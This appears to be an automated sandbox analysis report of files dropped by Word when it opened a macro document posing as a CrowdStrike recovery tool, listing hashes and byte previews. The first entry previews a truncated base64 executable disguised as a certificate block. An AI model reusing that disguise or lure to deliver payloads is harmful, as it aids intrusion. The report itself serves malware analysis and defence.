Preview:	-----BEGIN CERTIFICATE-----..TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v..dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACLzqCVz6/Oxs+vzsbPr87G..hNfNx8evzsaE18vHHK/OxoTXysfer87Gz6/Oxs6vzsYL2srHuK/Oxljxz8fNr87G..DS4zxsmvzsYNLsvHla/Oxg0uysfdr87GDS7Nx92vzsaE18/H3K/Oxs+vz8Y0r87G..PC3Gx8ivzsY8Lc7Hzq/OxjwtMcbOr87GPC3Mx86vzsZSaWNoz6/OxgAAAAAAAAAA..UEUAAGSGBwBiH5pmAAAAAAAAAADwACIgCwIOJwCOEAAAIAUAAAAAAPCXAgAAEAAA..AAAAgAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAABYAAAQAAAAAAAACAGAB..AAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAACB3FADwCwAA..EIMUANwAAAAA0BUA4AEAAADwFAA4wQAAAAAAAAAAAAAA4BUAEBMAABCfEwBwAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0J0TAEABAAAAAAAAAAAAAACgEAB4BwAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAB1jRAAABAAAACOEAAABAAA..AAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAQvoDAACgEAAA/AMAAJIQAAAAAAAAAAAA..AAAAAEAAAEAuZGF0YQAAAHBJAAAAoBQAACQAAACOFAAAAAAAAAAAAAAAAABAAADA..LnBkYXRhAAA4wQAAAPAUAADCAAAAshQAAAAAAAAAAAAAAAA

C:\Users\user\AppData\Local\Temp\mso2566.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	GIF image data, version 89a, 15 x 15
Category:	dropped
Size (bytes):	663
Entropy (8bit):	5.949125862393289
Encrypted:	false
SSDEEP:	12:PlrojAxh4bxdtT/CS3wkxWHMGBJg8E8gKVYQezuYEecp:trPsTTaWKbBCgVqSF
MD5:	ED3C1C40B68BA4F40DB15529D5443DEC
SHA1:	831AF99BB64A04617E0A42EA898756F9E0E0BCCA
SHA-256:	039FE79B74E6D3D561E32D4AF570E6CA70DB6BB3718395BE2BF278B9E601279A
SHA-512:	C7B765B9AFBB9810B6674DBC5C5064ED96A2682E78D5DFFAB384D81EDBC77D01E0004F230D4207F2B7D89CEE9008D79D5FBADC5CB486DA4BC43293B7AA878041
Malicious:	false
Preview:	GIF89a....w..!..MSOFFICE9.0.....sRGB......!..MSOFFICE9.0.....msOPMSOFFICE9.0Dn&P3.!..MSOFFICE9.0.....cmPPJCmp0712.........!.......,....................'..;..b...RQ.xx..................,+................................yy..;..b.........................qp.bb..........uv.ZZ.LL.......xw.jj.NN.A@....zz.mm.^_.........yw........yx.xw.RR.,.++............................................................................................................................................................................................................8....>.......................4567...=..../0123.....<9:.()+,-.B.@...."#$%&'....... !............C.?....A;<...HT(..;

C:\Users\user\AppData\Local\Temp\mso40F2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	GIF image data, version 89a, 15 x 15
Category:	dropped
Size (bytes):	663
Entropy (8bit):	5.949125862393289
Encrypted:	false
SSDEEP:	12:PlrojAxh4bxdtT/CS3wkxWHMGBJg8E8gKVYQezuYEecp:trPsTTaWKbBCgVqSF
MD5:	ED3C1C40B68BA4F40DB15529D5443DEC
SHA1:	831AF99BB64A04617E0A42EA898756F9E0E0BCCA
SHA-256:	039FE79B74E6D3D561E32D4AF570E6CA70DB6BB3718395BE2BF278B9E601279A
SHA-512:	C7B765B9AFBB9810B6674DBC5C5064ED96A2682E78D5DFFAB384D81EDBC77D01E0004F230D4207F2B7D89CEE9008D79D5FBADC5CB486DA4BC43293B7AA878041
Malicious:	false
Preview:	GIF89a....w..!..MSOFFICE9.0.....sRGB......!..MSOFFICE9.0.....msOPMSOFFICE9.0Dn&P3.!..MSOFFICE9.0.....cmPPJCmp0712.........!.......,....................'..;..b...RQ.xx..................,+................................yy..;..b.........................qp.bb..........uv.ZZ.LL.......xw.jj.NN.A@....zz.mm.^_.........yw........yx.xw.RR.,.++............................................................................................................................................................................................................8....>.......................4567...=..../0123.....<9:.()+,-.B.@...."#$%&'....... !............C.?....A;<...HT(..;

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:TTml7tt:OlJ
MD5:	3A77505CA109EE3E239693E009B4B08B
SHA1:	07D6D8A26D477C55556BCF852ADD0AC68F1A943B
SHA-256:	844797DDD579E6245E075DE18C11A314D246EB562FE4514318B2E24F08F1F1A6
SHA-512:	FB82660C5463F33088CAC8F0D4D991D068DA898F471351A23EF10E6E1E230B88DC12E55DD634AC50A075AF87D31A167295071D60AA7A8629A616845FDA40CD50
Malicious:	false
Preview:	....$6........................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.LNK

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Oct 5 05:47:15 2023, mtime=Mon Jul 22 12:58:42 2024, atime=Mon Jul 22 12:57:38 2024, length=250145, window=hide
Category:	dropped
Size (bytes):	803
Entropy (8bit):	4.6713360460507145
Encrypted:	false
SSDEEP:	24:8ZNEZ/cPxD/juVAGuuYZOcPxD/jueGaVgm:84hcljjuYZOclDVg
MD5:	95F4A1D616ED067F023A7EC0B778291E
SHA1:	655C9C3A4179BB024731E688F9C15812EA162350
SHA-256:	A6B7017110382DCA092DA15A4A823544A78EC525C2AD60D9442563150C7AB973
SHA-512:	ADAF942F1D647AC4199A7CF8DBE00D2BF9AE500A0295A89C1CCB565B724FD7F5070391499CC66D5032AA29770A9572EEA2D4EE31E7EDE8F0EDFF9EEAD6450487
Malicious:	false
Preview:	L..................F.... ...B...W......B?.....?...!...........................2.!....X4o .NEW_RE~1.DOC.........EW.5.X6o..............................N.e.w._.R.e.c.o.v.e.r.y._.T.o.o.l._.t.o._.h.e.l.p._.w.i.t.h._.C.r.o.w.d.S.t.r.i.k.e._.i.s.s.u.e._.i.m.p.a.c.t.i.n.g._.W.i.n.d.o.w.s...d.o.c.m.......................-....................F.......C:\Users\user\Desktop\New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm..^.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.N.e.w._.R.e.c.o.v.e.r.y._.T.o.o.l._.t.o._.h.e.l.p._.w.i.t.h._.C.r.o.w.d.S.t.r.i.k.e._.i.s.s.u.e._.i.m.p.a.c.t.i.n.g._.W.i.n.d.o.w.s...d.o.c.m.`.......X.......347688...........hT..CrF.f4... .\...Jc...-...-$..hT..CrF.f4... .\...Jc...-...-$.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Directory, ctime=Mon Jul 22 12:57:39 2024, mtime=Mon Jul 22 12:59:07 2024, atime=Mon Jul 22 12:59:07 2024, length=0, window=hide
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	4.6182183319459975
Encrypted:	false
SSDEEP:	24:8loGZEw2a0hylX4II/IQAybuTYa+Dqygm:8lU9yl5Ii+uTF9yg
MD5:	F4D46050A93C6B8AE636EE3E3FDF34C7
SHA1:	D059878BE25082C4B7B79EBA05B178906479E6F0
SHA-256:	1B3CFDC5B01D8B407305E475DFA3A2825D7AE0C2EE56D1C9DA139EA9C428CB0D
SHA-512:	070814A3A108065114D18DD0945E61D98BCC9004682DD6B8BDA257786FC6C53B9755BF727E7B9B59647355C6D3A7E2C333C380F6D0B9E610A7F174E45E5280CA
Malicious:	false
Preview:	L..................F.........i..?...vb"R?...vb"R?...........................e....P.O. .:i.....+00.../C:\...................x.1.....EW.2..Users.d......OwH.X.o....................:.....6.d.U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....Z.1......X0o..user..B......EW<2.X2o....^.......................3.e.n.g.i.n.e.e.r.....V.1.....EW<2..AppData.@......EW<2.X.o...........................^.A.p.p.D.a.t.a.....V.1......X0o..Roaming.@......EW<2.X0o..../........................R.o.a.m.i.n.g.....\.1......X8o..MICROS~1..D......EW<2.X8o....0.......................R.M.i.c.r.o.s.o.f.t.....\.1......X=o..TEMPLA~1..D.......X4o.X=o..........................^...T.e.m.p.l.a.t.e.s.......d...............-.......c............F.......C:\Users\user\AppData\Roaming\Microsoft\Templates........\.....\.T.e.m.p.l.a.t.e.s...........................>.e.L.:..er.=....`.......X.......347688...........hT..CrF.f4... .?].j2H...-...-$..hT..CrF.f4... .?].j2H...-...-$.............1SPS.XF.L8C....&.m.q....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.833152138240629
Encrypted:	false
SSDEEP:	3:HgA5AgFis6NAb6SQomZuMigIubNJYCm4wAgFis6NAb6SQomZuMigIubNJYCpnbJ1:HFTFipAb6WmZuMiYbNWJFipAb6WmZuM1
MD5:	FFB95E0681E4FDDF57DBEC6B12097BA7
SHA1:	B4E48E92A6A03FBB4297A28D8A2A7E4E4810C7F5
SHA-256:	147DFE313AEFAE966B3548AB2DCB2A35AAE73382A0FE35E324F887B8B3E6C7AB
SHA-512:	FF378F9327548FC0230CA67E537174FFB9F4F2A37BE0EA1471DB650C5763D1DD2E98B144716579A1C7DFEAEC8DCE2F0CB72D00FE04AD4E22A7FDC9A7B9B3B5BB
Malicious:	false
Preview:	[misc]..New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.LNK=0..[folders]..New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.LNK=0..Templates.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090430[[fn=Banded]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090434[[fn=Wood Type]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457444[[fn=Basis]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457464[[fn=Dividend]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457485[[fn=Mesh]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457491[[fn=Metropolitan]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457496[[fn=Parallax]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457503[[fn=Quotable]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457510[[fn=Savon]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... 